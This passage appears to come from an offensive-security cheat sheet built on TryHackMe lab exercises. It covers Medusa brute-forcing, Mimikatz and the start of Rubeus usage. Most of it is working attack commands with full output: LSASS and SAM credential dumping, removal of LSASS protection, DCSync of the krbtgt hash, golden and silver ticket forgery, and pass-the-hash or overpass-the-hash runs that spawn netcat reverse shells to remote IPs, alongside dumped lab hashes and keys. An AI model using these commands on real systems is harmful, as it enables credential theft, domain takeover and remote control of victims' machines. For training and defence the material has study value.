      + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
      + rsh.mod : Brute force module for RSH sessions : version 2.0
      + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
      + smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
      + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
      + snmp.mod : Brute force module for SNMP Community Strings : version 2.1
      + ssh.mod : Brute force module for SSH v2 sessions : version 2.1
      + svn.mod : Brute force module for Subversion sessions : version 2.1
      + telnet.mod : Brute force module for telnet sessions : version 2.0
      + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
      + vnc.mod : Brute force module for VNC sessions : version 2.1
      + web-form.mod : Brute force module for web forms : version 2.1
      + wrapper.mod : Generic Wrapper Module : version 2.0
    
    
    
    Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
    -h [TEXT]    : Target hostname or IP address
    -H [FILE]    : File containing target hostnames or IP addresses
    -u [TEXT]    : Username to test
    -U [FILE]    : File containing usernames to test
    -p [TEXT]    : Password to test
    -P [FILE]    : File containing passwords to test
    -C [FILE]    : File containing combo entries. See README for more information.
    -O [FILE]    : File to append log information to
    -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
    -M [TEXT]    : Name of the module to execute (without the .mod extension)
    -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                   different parameter each time and they will all be sent to the module (i.e.
                   -m Param1 -m Param2, etc.)
    -d           : Dump all known modules
    -n [NUM]     : Use for non-default TCP port number
    -s           : Enable SSL
    -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
    -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
    -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
    -c [NUM]     : Time to wait in usec to verify socket is available (default 500 usec).
    -t [NUM]     : Total number of logins to be tested concurrently
    -T [NUM]     : Total number of hosts to be tested concurrently
    -L           : Parallelize logins using one username per thread. The default is to process 
                   the entire username before proceeding.
    -f           : Stop scanning host after first valid username/password found.
    -F           : Stop audit after first valid username/password found on any host.
    -b           : Suppress startup banner
    -q           : Display module's usage information
    -v [NUM]     : Verbose level [0 - 6 (more)]
    -w [NUM]     : Error debug level [0 - 10 (more)]
    -V           : Display version
    -Z [TEXT]    : Resume scan based on map of previous scan
    
    
  • Output Example:

    Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
    
    ACCOUNT CHECK: [ftp] Host: 10.10.144.205 (1 of 1, 0 complete) User: ftp (1 of 1, 0 complete) Password: ftp (1 of 1 complete)
    ACCOUNT FOUND: [ftp] Host: 10.10.144.205 User: ftp Password: ftp [SUCCESS]
    
    
    
    [...]
    ACCOUNT CHECK: [ssh] Host: 10.10.81.19 (1 of 1, 0 complete) User: burgess (3 of 5, 1 complete) Password: Fall2020@ (17 of 40 complete)  
    ACCOUNT FOUND: [ssh] Host: 10.10.81.19 User: burgess Password: Fall2021@ [SUCCESS]
    ACCOUNT CHECK: [ssh] Host: 10.10.81.19 (1 of 1, 0 complete) User: phillips (2 of 5, 2 complete) Password: Fall2020$ (37 of 40 complete)
    [...]
    
    

13. Mimikatz

  • Use Case: Credential dumping, tickets, WDIGEST/LSASS inspection. Github

  • Input Example:

    # Extracting NTLM hashes from local SAM
    privilege::debug
    token::elevate
    lsadump::sam
    
    # Extracting NTLM hashes from LSASS memory (MSV only)
    sekurlsa::msv
    
    # Extracting NTLM hashes from LSASS memory (all data)
    sekurlsa::logonpasswords
    
    # Extracting LSASS hashes on a machine with LSASS protection
    mimikatz # sekurlsa::logonpasswords
    ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
    
    mimikatz # !+
    [*] 'mimidrv' service not present
    [+] 'mimidrv' service successfully registered
    [+] 'mimidrv' service ACL to everyone
    [+] 'mimidrv' service started
    
    mimikatz #
    mimikatz # !processprotect /process:lsass.exe /remove
    Process : lsass.exe
    PID 836 -> 00/00 [0-0-0]
    
    mimikatz #  
    
    
    # Re-establish our original token privileges, as trying to pass-the-hash with an elevated token won't work. 
    token::revert
    
    # With PtH, any commands executed on the caught shell will use bob jenkins credentials  
    sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe 10.50.46.84 5555"  
    
    # Prepare for pass-the-ticket attack
    sekurlsa::tickets /export
    
    # Execute pass-the-ticket attack
    kerberos::ptt [0;3e4]-2-0-40e10000-CONTROLLER-1$@krbtgt-CONTROLLER.LOCAL.kirbi
    
    * File: '[0;3e4][email protected]': OK
    
    mimikatz #
    
    
    # Check DC-Sync rights
    lsadump::dcsync /user:Administrator
    
    # Extract the krtgt NTLM hash
    lsadump::dcsync /user:krbtgt
    
    # Create a golden ticket
    kerberos::golden /user:Administrator /domain:CONTROLLER.LOCAL /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500 /groups:512 /ptt
    
    # We can also run the following to specify ticket lifetime (default 10 years) and the maximum ticket lifetime for renewal (default 10 years).
    # Also note that the username we want to impersonate does not have to be a valid user.
    kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt
    
    # Confirm the Golden Ticket was successfully created and injected
    kerberos::list
    
    # Generate a Silver ticket for CIFS service, using the rc4 (NTLM) hash of the SQL service account
    kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt
    
    # DC-Sync All
    lsadump::dcsync /domain:controller.local /all
    
    # Prepare for Overpass-the-hash and Pass-the-key  
    sekurlsa::ekeys
    
    # Pass-the-key attack
    # Note the use of the aes256 key
    sekurlsa::pth /user:Administrator /domain:controller.local /aes256:42b3c13c8c0fef3175eb2b5926f805f919123efd001a9c5a16ee9a86101e32b4 /run:"c:\Users\Administrator\Downloads\ncat.exe -e cmd.exe 10.10.177.75 5556"
    
    # Overpass-the-hash attack
    # Note the use of the RC4 key - basically the NTLM hash
    
    sekurlsa::pth /user:Administrator /domain:controller.local /rc4:2777b7fec870e04dda00cd7260f7bee6 /run:"c:\Users\Administrator\Downloads\ncat.exe -e cmd.exe 10.10.177.75 5557"
    
    # Patch memory to make certificates exportable
    mimikatz # privilege::debug
    Privilege '20' OK
    
    mimikatz # crypto::capi
    Local CryptoAPI RSA CSP patched
    Local CryptoAPI DSS CSP patched
    
    mimikatz # crypto::cng
    "KeyIso" service patched
    
    mimikatz #
    
    # Export certificates
    
    crypto::certificates /systemstore:local_machine /export
    
    # Enumerate stored credentials
    vault::list
    
    
  • Output Example:

    # Extracting NTLM hashes from local SAM
    
    Privilege '20' OK
    ----------------------------------
    Token Id  : 0                                                                                                                   
    User name :                                                                                                                     
    SID name  : NT AUTHORITY\SYSTEM                                                                                                 
    
    664     {0;000003e7} 1 D 17764          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary                         
     -> Impersonated !                                                                                                              
     * Process Token : {0;001b7659} 0 D 1802104     ZA\t2_felicia.dean      S-1-5-21-3330634377-1326264276-632209373-4605   (12g,24p)       Primary  
     * Thread Token  : {0;000003e7} 1 D 1856143     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)                 
    ------------------------------------
    Domain : THMJMP2                                                                                                                
    SysKey : 2e27b23479e1fb1161a839f9800119eb                                                                                       
    Local SID : S-1-5-21-1946626518-647761240-1897539217                                                                            
    
    SAMKey : 9a74a253f756d6b012b7ee3d0436f77a                                                                                       
    
    RID  : 000001f4 (500)                                                                                                           
    User : Administrator                                                                                                            
      Hash NTLM: 0b2571be7e75e3dbd169ca5352a2dad7                                                                                   
    
    RID  : 000001f5 (501)                                                                                                           
    User : Guest                                                                                                                    
    
    RID  : 000001f7 (503)                                                                                                           
    User : DefaultAccount
    
    
    # Extracting NTLM hashes from LSASS memory (MSV only)
    Authentication Id : 0 ; 1024616 (00000000:000fa268)                                                                             
    Session           : RemoteInteractive from 7                                                                                    
    User Name         : t1_toby.beck4                                                                                               
    Domain            : ZA                                                                                                          
    Logon Server      : THMDC                                                                                                       
    Logon Time        : 10/15/2025 12:49:48 PM                                                                                      
    SID               : S-1-5-21-3330634377-1326264276-632209373-4619                                                               
          msv :                                                                                                                   
           [00000003] Primary                                                                                                     
           * Username : t1_toby.beck4                                                                                             
           * Domain   : ZA                                                                                                        
           * NTLM     : 533f1bd576caa912bdb9da284bbc60fe                                                                          
           * SHA1     : 8a65216442debb62a3258eea4fbcbadea40ccc38                                                                  
           * DPAPI    : 47d511de8e208dc0053e88223dcdd31c                                                                          
    
    Authentication Id : 0 ; 1020026 (00000000:000f907a)                                                                             
    Session           : Interactive from 7                                                                                          
    User Name         : DWM-7                                                                                                       
    Domain            : Window Manager                                                                                              
    Logon Server      : (null)                                                                                                      
    Logon Time        : 10/15/2025 12:49:48 PM                                                                                      
    SID               : S-1-5-90-0-7                                                                                                
          msv :                                                                                                                   
           [00000003] Primary                                                                                                     
           * Username : THMJMP2$                                                                                                  
           * Domain   : ZA                                                                                                        
           * NTLM     : 894c4a1dba8abfcbc88b46e7c8da319a                                                                          
           * SHA1     : 6b57d16c54982776f3a96978d854e6d912b9844f                                                                                                                                                             
    
    
    [...]
    # Extracting NTLM hashes from LSASS memory (all data)
    Authentication Id : 0 ; 584937 (00000000:0008ece9)                                                                              
    Session           : Interactive from 3                                                                                          
    User Name         : DWM-3                                                                                                       
    Domain            : Window Manager                                                                                              
    Logon Server      : (null)                                                                                                      
    Logon Time        : 10/15/2025 12:49:04 PM                                                                                      
    SID               : S-1-5-90-0-3                                                                                                
          msv :                                                                                                                   
           [00000003] Primary                                                                                                     
           * Username : THMJMP2$                                                                                                  
           * Domain   : ZA                                                                                                        
           * NTLM     : 894c4a1dba8abfcbc88b46e7c8da319a                                                                          
           * SHA1     : 6b57d16c54982776f3a96978d854e6d912b9844f                                                                  
          tspkg :                                                                                                                 
          wdigest :                                                                                                               
           * Username : THMJMP2$                                                                                                  
           * Domain   : ZA                                                                                                        
           * Password : (null)                                                                                                    
          kerberos :                                                                                                              
           * Username : THMJMP2$                                                                                                  
           * Domain   : za.tryhackme.com                                                                                          
           * Password : 09 59 d6 d2 07 35 80 75 25 4f b2 ab 9f 53 ba 68 28 e4 72 8d eb 1c 8f ec b2 6a 11 7e 6e d8 72 22 00 8c a0 6
    a ed 7f d6 7c 70 6c ce 61 04 9a 76 d7 2e 74 96 4b c0 2e e1 23 a0 a5 09 15 fc af 8c da 57 28 b7 83 17 d4 74 28 c1 07 5f 67 c4 8c 
    df 76 14 3e ba d6 70 3a 34 63 4c d9 e8 b3 e1 8c 18 94 c1 a5 21 01 38 b6 9d 22 07 be 45 cb ae 4d d9 00 c8 db 37 16 05 b7 14 ec 68
     11 ba 38 6a c2 23 07 c2 1c a1 fe 87 dd 02 4a 21 07 6a c7 66 26 d1 ee 18 2c 72 62 70 11 5c e5 2a 58 03 fd 8a 65 88 a0 59 9a 5b 9
    9 3a 51 40 dc 60 22 e4 7d 5d ed b2 3a e1 2c f3 c9 1e eb d5 1f e1 4e 0c 19 4e 4f 65 22 bd 1f c0 72 d6 32 1a 1e fa 1b 66 a9 2c 2c 
    06 68 23 71 0d 63 9d 9a d5 b6 dd 1d 48 0c 70 c4 3a 06 73 84 74 13 b0 be f7 37 ef c1 8e ce bb cd 34 c6                           
          ssp :                                                                                                                   
          credman :
    [...]
    
    
    # Pass-the-hash
     * Process Token : {0;0031373f} 0 D 3228104     ZA\t2_felicia.dean      S-1-5-21-3330634377-1326264276-632209373-4605   (12g,24p)      Primary
     * Thread Token  : no token
    -------------------------------------------------
    mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe 10.50.46.84 5555"
    user    : bob.jenkins                                                                                                          
    domain  : za.tryhackme.com                                                                                                     
    program : c:\tools\nc64.exe -e cmd.exe 10.50.46.84 5555                                                                        
    impers. : no                                                                                                                   
    NTLM    : 6b4a57f67805a663c818106dc0648484                                                                                     
      |  PID  5780                                                                                                                 
      |  TID  9148                                                                                                                 
      |  LSA Process is now R/W                                                                                                    
      |  LUID 0 ; 3365485 (00000000:00335a6d)                                                                                      
      \_ msv1_0   - data copy @ 000001490C409A50 : OK !                                                                            
      \_ kerberos - data copy @ 000001490CE87138                                                                                   
       \_ aes256_hmac       -> null                                                                                                
       \_ aes128_hmac       -> null                                                                                                
       \_ rc4_hmac_nt       OK                                                                                                     
       \_ rc4_hmac_old      OK                                                                                                     
       \_ rc4_md4           OK                                                                                                     
       \_ rc4_hmac_nt_exp   OK                                                                                                     
       \_ rc4_hmac_old_exp  OK                                                                                                     
       \_ *Password replace @ 000001490CE7A188 (32) -> null
    
    
    # Prepare for Pass-the-ticket
    mimikatz # sekurlsa::tickets /export
    [...]
    
    Authentication Id : 0 ; 996 (00000000:000003e4)
    Session           : Service from 0
    User Name         : CONTROLLER-1$
    Domain            : CONTROLLER
    Logon Server      : (null)
    Logon Time        : 10/22/2025 6:10:56 AM
    SID               : S-1-5-20
    
           * Username : controller-1$
           * Domain   : CONTROLLER.LOCAL
           * Password : (null)
    
          Group 0 - Ticket Granting Service
           [00000000]
             Start/End/MaxRenew: 10/22/2025 6:41:02 AM ; 10/22/2025 4:41:02 PM ; 10/29/2025 6:41:02 AM
             Service Name (02) : ldap ; CONTROLLER-1.CONTROLLER.local ; CONTROLLER.local ; @ CONTROLLER.LOCAL
             Target Name  (02) : ldap ; CONTROLLER-1.CONTROLLER.local ; CONTROLLER.local ; @ CONTROLLER.LOCAL
             Client Name  (01) : CONTROLLER-1$ ; @ CONTROLLER.LOCAL ( CONTROLLER.LOCAL )
             Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
             Session Key       : 0x00000012 - aes256_hmac
               a282e2cf28b04ff613687f4d7de574c39a454a497f3b59ffd8e640be6a8a815c
             Ticket            : 0x00000012 - aes256_hmac       ; kvno = 5        [...]
             * Saved to file [0;3e4]-0-0-40a50000-CONTROLLER-1$@ldap-CONTROLLER-1.CONTROLLER.local.kirbi !
    
          Group 1 - Client Ticket ?
    
          Group 2 - Ticket Granting Ticket
           [00000000]
             Start/End/MaxRenew: 10/22/2025 6:41:02 AM ; 10/22/2025 4:41:02 PM ; 10/29/2025 6:41:02 AM
             Service Name (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL
             Target Name  (02) : krbtgt ; CONTROLLER.local ; @ CONTROLLER.LOCAL
             Client Name  (01) : CONTROLLER-1$ ; @ CONTROLLER.LOCAL ( CONTROLLER.local )
             Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
             Session Key       : 0x00000012 - aes256_hmac
               f833395fefa76f87d2ac6e5027a1f3551807a49e212d4e83a10d1fd8318ff919
             Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
             * Saved to file [0;3e4][email protected] !
    
    [...]
    
    Authentication Id : 0 ; 418733 (00000000:000663ad)
    Session           : Network from 0
    User Name         : CONTROLLER-1$
    Domain            : CONTROLLER
    Logon Server      : (null)
    Logon Time        : 10/22/2025 6:16:17 AM
    SID               : S-1-5-18
    
           * Username : CONTROLLER-1$
           * Domain   : CONTROLLER.LOCAL
           * Password : (null)
    
          Group 0 - Ticket Granting Service
    
          Group 1 - Client Ticket ?
           [00000000]
             Start/End/MaxRenew: 10/22/2025 6:11:35 AM ; 10/22/2025 4:11:35 PM ;
             Service Name (02) : ldap ; CONTROLLER-1.CONTROLLER.local ; @ CONTROLLER.LOCAL
             Target Name  (--) : @ CONTROLLER.LOCAL
             Client Name  (01) : CONTROLLER-1$ ; @ CONTROLLER.LOCAL
             Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
             Session Key       : 0x00000012 - aes256_hmac
               428da5713fa16eaa1a9722b93ab4f89c58e13dc92bacec20579f82b3fdd1c299
             Ticket            : 0x00000012 - aes256_hmac       ; kvno = 5        [...]
             * Saved to file [0;663ad]-1-0-40a50000-CONTROLLER-1$@ldap-CONTROLLER-1.CONTROLLER.local.kirbi !
    
          Group 2 - Ticket Granting Ticket
    
    [...]
    mimikatz #
    
    

    1. Logon Type: Service vs Network

    • Service from 0 (second ticket) vs Network from 0 (first ticket).
    • Service logons often indicate automated or scheduled tasks, and may have persistent access or elevated privileges.
    • Network logons are more transient and may be harder to reuse effectively.

    3. Ticket Types

    • The second ticket includes both:
      • A TGT (krbtgt) — reusable for Pass-the-Ticket attacks.
      • A TGS for LDAP — useful for enumeration, Active Directory abuse, or DCSync if permissions allow.
    # Confirm pass-the-ticket worked
    C:\Users\Administrator\Downloads>klist
    
    Current LogonId is 0:0x2db899
    
    Cached Tickets: (1)
    
    #0>     Client: CONTROLLER-1$ @ CONTROLLER.LOCAL
          Server: krbtgt/CONTROLLER.LOCAL @ CONTROLLER.LOCAL
          KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
          Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
          Start Time: 10/22/2025 6:41:02 (local)
          End Time:   10/22/2025 16:41:02 (local)
          Renew Time: 10/29/2025 6:41:02 (local)
          Session Key Type: AES-256-CTS-HMAC-SHA1-96
          Cache Flags: 0x1 -> PRIMARY
          Kdc Called:
    
    C:\Users\Administrator\Downloads>
    
    

    Why This Ticket Is Ideal for PTT

    • Client:
      CONTROLLER-1$
      — a machine account, often with elevated privileges.
    • Server:
      krbtgt/CONTROLLER.LOCAL
      — confirms this is a Ticket Granting Ticket (TGT).
    • Encryption:
      AES-256-CTS-HMAC-SHA1-96
      — strong and supported by Mimikatz.
    • Flags:
      • forwardable
        ,
        renewable
        ,
        initial
        ,
        pre_authent
        ,
        name_canonicalize
        — all ideal for reuse and impersonation.
    • Session Key: Present and valid.
    • Cache Flags:
      PRIMARY
      — this ticket is now active in the current session.
    mimikatz # lsadump::dcsync /user:Administrator
    [DC] 'CONTROLLER.local' will be the domain
    [DC] 'CONTROLLER-1.CONTROLLER.local' will be the DC server
    [DC] 'Administrator' will be the user account
    
    Object RDN           : Administrator
    
    ** SAM ACCOUNT **
    
    SAM Username         : Administrator
    Account Type         : 30000000 ( USER_OBJECT )
    User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
    Account expiration   :
    Password last change : 5/25/2020 12:22:39 PM
    Object Security ID   : S-1-5-21-432953485-3795405108-1502158860-500
    Object Relative ID   : 500
    
    Credentials:
      Hash NTLM: 2777b7fec870e04dda00cd7260f7bee6
    
    Supplemental Credentials:
    * Primary:NTLM-Strong-NTOWF *
      Random Value : 7bfd4ae86442827fb0db294d5c9855ce
    
    * Primary:Kerberos-Newer-Keys *
      Default Salt : WIN-G83IJFV2N03Administrator
      Default Iterations : 4096
      Credentials
        aes256_hmac       (4096) : 42b3c13c8c0fef3175eb2b5926f805f919123efd001a9c5a16ee9a86101e32b4
        aes128_hmac       (4096) : d01d6ccf97a2ee214ec7185173a3b659
        des_cbc_md5       (4096) : 918abaf7dcb02ce6
    
    * Packages *
      NTLM-Strong-NTOWF
    
    * Primary:Kerberos *
      Default Salt : WIN-G83IJFV2N03Administrator
      Credentials
        des_cbc_md5       : 918abaf7dcb02ce6
    
    mimikatz #
    
    

    What This Means

    • You were able to replicate domain controller behavior and extract sensitive credentials for the
      Administrator
      account.
    • This includes:
      • NTLM hash:
        2777b7fec870e04dda00cd7260f7bee6
      • Kerberos keys: AES256, AES128, and DES
      • Supplemental credentials like NTLM-Strong-NTOWF

    🧠 Why This Is Powerful

    With these credentials, you can:

    • Pass-the-Hash using the NTLM hash
    • Craft Golden Tickets using the Kerberos keys
    • Impersonate the domain admin across the network
    • Maintain persistence even if the original ticket expires
    
    # Extract the krtgt NTLM hash - This simulates a domain controller replication request and pulls the krbtgt hash without touching the disk.
    # TGTs are signed with the KRBTGT account’s password hash. Since we have the KRBTGT hash, we can forge a TGT, aka a GOLDEN TICKET
    
    mimikatz # lsadump::dcsync /user:krbtgt
    
    [DC] 'CONTROLLER.local' will be the domain
    [DC] 'CONTROLLER-1.CONTROLLER.local' will be the DC server
    [DC] 'krbtgt' will be the user account
    
    Object RDN           : krbtgt
    
    ** SAM ACCOUNT **
    
    SAM Username         : krbtgt
    Account Type         : 30000000 ( USER_OBJECT )
    User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
    Account expiration   :
    Password last change : 5/25/2020 3:06:51 PM
    Object Security ID   : S-1-5-21-432953485-3795405108-1502158860-502
    Object Relative ID   : 502
    
    Credentials:
      Hash NTLM: 72cd714611b64cd4d5550cd2759db3f6
        ntlm- 0: 72cd714611b64cd4d5550cd2759db3f6
        lm  - 0: aec7e106ddd23b3928f7b530f60df4b6
    
    Supplemental Credentials:
    * Primary:NTLM-Strong-NTOWF *
      Random Value : 4b9102d709aada4d56a27b6c3cd14223
    
    * Primary:Kerberos-Newer-Keys *
      Default Salt : CONTROLLER.LOCALkrbtgt
      Default Iterations : 4096
      Credentials
        aes256_hmac       (4096) : dfb518984a8965ca7504d6d5fb1cbab56d444c58ddff6c193b64fe6b6acf1033
        aes128_hmac       (4096) : 88cc87377b02a885b84fe7050f336d9b
        des_cbc_md5       (4096) : 79bf07137a8a6b8f
    
    * Primary:Kerberos *
      Default Salt : CONTROLLER.LOCALkrbtgt
      Credentials
        des_cbc_md5       : 79bf07137a8a6b8f
    
    * Packages *
      NTLM-Strong-NTOWF
    
    * Primary:WDigest *
      01  d2e9aa3caa4509c3f11521c70539e4ad
      02  c9a868fc195308b03d72daa4a5a4ee47
      03  171e066e448391c934d0681986f09ff4
      04  d2e9aa3caa4509c3f11521c70539e4ad
      05  c9a868fc195308b03d72daa4a5a4ee47
      06  41903264777c4392345816b7ecbf0885
      07  d2e9aa3caa4509c3f11521c70539e4ad
      08  9a01474aa116953e6db452bb5cd7dc49
      09  a8e9a6a41c9a6bf658094206b51a4ead
      10  8720ff9de506f647ad30f6967b8fe61e
      11  841061e45fdc428e3f10f69ec46a9c6d
      12  a8e9a6a41c9a6bf658094206b51a4ead
      [...]
    
    mimikatz #
    
    
    # Create a golden ticket
    mimikatz # kerberos::golden /user:Administrator /domain:CONTROLLER.LOCAL /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500 /groups:512 /ptt
    User      : Administrator
    Domain    : CONTROLLER.LOCAL (CONTROLLER)
    SID       : S-1-5-21-432953485-3795405108-1502158860
    User Id   : 500
    Groups Id : *512
    ServiceKey: 72cd714611b64cd4d5550cd2759db3f6 - rc4_hmac_nt
    Lifetime  : 10/22/2025 7:51:52 AM ; 10/20/2035 7:51:52 AM ; 10/20/2035 7:51:52 AM
    -> Ticket : ** Pass The Ticket **
    
     * PAC generated
     * PAC signed
     * EncTicketPart generated
     * EncTicketPart encrypted
     * KrbCred generated
    
    Golden ticket for 'Administrator @ CONTROLLER.LOCAL' successfully submitted for current session
    
    mimikatz #
    
    
    # Confirm the Golden Ticket was successfully created and injected
    [00000000] - 0x00000017 - rc4_hmac_nt
     Start/End/MaxRenew: 10/22/2025 7:51:52 AM ; 10/20/2035 7:51:52 AM ; 10/20/2035 7:51:52 AM
     Server Name       : krbtgt/CONTROLLER.LOCAL @ CONTROLLER.LOCAL
     Client Name       : Administrator @ CONTROLLER.LOCAL
     Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ;
    
    # Confirm TGT was accepted by the DC, and we now have administrative access to DC
    C:\Users\Administrator\Downloads>net use \\CONTROLLER-1\C$ /user:Administrator
    The command completed successfully.
    
    
    # Generate a Silver ticket for CIFS service, using the rc4 (NTLM) hash of the SQL service account
    kerberos::golden /admin:StillNotALegitAccountEither /domain:CONTROLLER.local /id:500 /sid:S-1-5-21-432953485-3795405108-1502158860 /target:controller-1.local /rc4:cd40c9ed96265531b21fc5b1dafcfb0a /service:cifs /ptt
    
    User      : StillNotALegitAccountEither
    Domain    : CONTROLLER.local (CONTROLLER)
    SID       : S-1-5-21-432953485-3795405108-1502158860
    User Id   : 500
    Groups Id : *513 512 520 518 519
    ServiceKey: cd40c9ed96265531b21fc5b1dafcfb0a - rc4_hmac_nt
    Service   : cifs
    Target    : controller-1.local
    Lifetime  : 10/25/2025 3:41:06 AM ; 10/23/2035 3:41:06 AM ; 10/23/2035 3:41:06 AM
    -> Ticket : ** Pass The Ticket **
    
     * PAC generated
     * PAC signed
     * EncTicketPart generated
     * EncTicketPart encrypted
     * KrbCred generated
    
    Golden ticket for 'StillNotALegitAccountEither @ CONTROLLER.local' successfully submitted for current session
    
    mimikatz #
    
    
    # DC-Sync All
    mimikatz # lsadump::dcsync /domain:controller.local /all
    [DC] 'controller.local' will be the domain
    [DC] 'CONTROLLER-1.CONTROLLER.local' will be the DC server
    [DC] Exporting domain 'controller.local'
    
    Object RDN           : CONTROLLER
    
    
    Object RDN           : LostAndFound
    
    [...]
    
    ** SAM ACCOUNT **
    
    SAM Username         : Guest
    User Account Control : 00010222 ( ACCOUNTDISABLE PASSWD_NOTREQD NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
    Object Security ID   : S-1-5-21-432953485-3795405108-1502158860-501
    Object Relative ID   : 501
    
    Credentials:
    
    Object RDN           : Builtin
    
    
    Object RDN           : S-1-5-4
    
    
    Object RDN           : S-1-5-11
    
    
    Object RDN           : Remote Desktop Users
    
    ** SAM ACCOUNT **
    
    SAM Username         : Remote Desktop Users
    Object Security ID   : S-1-5-32-555
    Object Relative ID   : 555
    
    Credentials:
    
    Object RDN           : Network Configuration Operators
    
    [...]
    
    # Prepare for overpass-the-hash (RC4-hash) and pass-the-key (AES-key)
    mimikatz # sekurlsa::ekeys
    
    Authentication Id : 0 ; 288048 (00000000:00046530)
    Session           : RemoteInteractive from 2
    User Name         : Administrator
    Domain            : CONTROLLER
    Logon Server      : CONTROLLER-1
    Logon Time        : 10/22/2025 8:08:33 AM
    SID               : S-1-5-21-432953485-3795405108-1502158860-500
    
           * Username : Administrator
           * Domain   : CONTROLLER.LOCAL
           * Password : (null)
           * Key List :
             aes256_hmac       42b3c13c8c0fef3175eb2b5926f805f919123efd001a9c5a16ee9a86101e32b4
             rc4_hmac_nt       2777b7fec870e04dda00cd7260f7bee6
             rc4_hmac_old      2777b7fec870e04dda00cd7260f7bee6
             rc4_md4           2777b7fec870e04dda00cd7260f7bee6
             rc4_hmac_nt_exp   2777b7fec870e04dda00cd7260f7bee6
             rc4_hmac_old_exp  2777b7fec870e04dda00cd7260f7bee6
    
    Authentication Id : 0 ; 243593 (00000000:0003b789)
    [...]
    
    
    # Pass-the-key attack
    # Note the use of the aes256 key
    sekurlsa::pth /user:Administrator /domain:controller.local /aes256:42b3c13c8c0fef3175eb2b5926f805f919123efd001a9c5a16ee9a86101e32b4 /run:"c:\Users\Administrator\Downloads\ncat.exe -e cmd.exe 10.10.177.75 5556"
    user    : Administrator
    domain  : controller.local
    program : c:\Users\Administrator\Downloads\ncat.exe -e cmd.exe 10.10.177.75 5556
    impers. : no
    AES256  : 42b3c13c8c0fef3175eb2b5926f805f919123efd001a9c5a16ee9a86101e32b4
      |  PID  1652
      |  TID  3520
      |  LSA Process is now R/W
      |  LUID 0 ; 2299698 (00000000:00231732)
      \_ msv1_0   - data copy @ 0000018F801560F0 : OK !
      \_ kerberos - data copy @ 0000018F83F33788
      \_ aes256_hmac       OK
       \_ aes128_hmac       -> null
       \_ rc4_hmac_nt       -> null
       \_ rc4_hmac_old      -> null
       \_ rc4_md4           -> null
       \_ rc4_hmac_nt_exp   -> null
       \_ rc4_hmac_old_exp  -> null
       \_ *Password replace @ 0000018F83E810C8 (32) -> null
    
    mimikatz #
    
    
    # Overpass-the-hash attack
    # Note the use of the RC4 key - basically the NTLM hash
    
    sekurlsa::pth /user:Administrator /domain:controller.local /rc4:2777b7fec870e04dda00cd7260f7bee6 /run:"c:\Users\Administrator\Downloads\ncat.exe -e cmd.exe 10.10.177.75 5557"
    user    : Administrator
    domain  : controller.local
    program : c:\Users\Administrator\Downloads\ncat.exe -e cmd.exe 10.10.177.75 5557
    impers. : no
    NTLM    : 2777b7fec870e04dda00cd7260f7bee6
      |  PID  1556
      |  TID  4520
      |  LSA Process was already R/W
      |  LUID 0 ; 2390443 (00000000:002479ab)
      \_ msv1_0   - data copy @ 0000018F801577A0 : OK !
      \_ kerberos - data copy @ 0000018F83F345E8
       \_ aes256_hmac       -> null
       \_ aes128_hmac       -> null
       \_ rc4_hmac_nt       OK
       \_ rc4_hmac_old      OK
       \_ rc4_md4           OK
       \_ rc4_hmac_nt_exp   OK
       \_ rc4_hmac_old_exp  OK
       \_ *Password replace @ 0000018F83E7E428 (32) -> null
    
    mimikatz #
    
    

14. Rubeus

  • Use Case: Kerberos attacks (AS-REP roast, kerberoast, ticket ops). Github

  • Input Example:

    Rubeus.exe kerberoast
    
    Rubeus.exe asreproast /domain:controller.local /dc:10.10.106.82
    
    Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller
    
